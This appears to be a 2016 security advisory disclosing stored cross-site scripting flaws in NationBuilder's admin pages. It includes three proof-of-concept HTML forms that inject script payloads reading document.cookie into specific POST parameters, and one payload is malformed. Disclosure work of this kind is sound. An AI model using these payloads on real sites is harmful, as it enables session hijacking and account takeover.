<!--
NationBuilder Multiple Stored XSS Vulnerabilities
Vendor: NATIONBUILDER WHQ
Product web page: http://www.nationbuilder.com
Affected version: unknown
Platform: Ruby
Summary: NationBuilder is a unique nonpartisan community
organizing system that brings together a comprehensive
suite of tools that today's leaders and creators need to
gather their tribes. Deeply social.
Desc: The application suffers from multiple stored XSS
vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context
of an affected site.
Tested on: Apache/2.2.22 (Ubuntu)
Phusion Passenger 4.0.48
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5318
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5318.php
Ruby client for NationBuilder API:
https://github.com/nationbuilder/nationbuilder-rb
11.04.2016
-->
#1 Stored XSS in 'signup[note]' POST parameter
----------------------------------------------
#
# PoC:
#
<html>
<body>
<form action="https://domain.local/admin/signups/2/background?screen=signup-header" method="POST">
<input type="hidden" name="utf8" value="%E2%9C%93" />
<input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" />
<input type="hidden" name="signup[note]" value="<script>alert(onfirm(document.cookie)</script>" />
<input type="hidden" name="commit" value="Save background" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
#2 Stored XSS in 'page_tag[name]' POST parameter
------------------------------------------------
#
# PoC:
#
<html>
<body>
<form action="https://domain.local/admin/sites/1/tags" method="POST">
<input type="hidden" name="utf8" value="%E2%9C%93" />
<input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" />
<input type="hidden" name="page_tag[name]" value="<script>confirm(document.cookie)</script>" />
<input type="hidden" name="commit" value="Add tag" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
#3 Stored XSS in 'page[slug]' and 'page[headline]' POST parameters
------------------------------------------------------------------
#
# PoC:
#
<html>
<body>
<form action="https://domain.local/admin/sites/1/pages/12?screen=seo" method="POST">
<input type="hidden" name="utf8" value="✓" />
<input type="hidden" name="_method" value="put" />
<input type="hidden" name="authenticity_token" value="wAqOhULjnK8/H3ip+zE6yg3IHaGa6ggbjxOoN2tf30I=" />
<input type="hidden" name="page[title]" value="Volunteer - ZSL" />
<input type="hidden" name="page[slug]" value="volunteer_script_confirm_document_cookie_script" />
<input type="hidden" name="page[headline]" value="Volunteer<script>confirm(document.cookie)</script>" />
<input type="hidden" name="page[excerpt]" value="1" />
<input type="hidden" name="commit" value="Save page" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
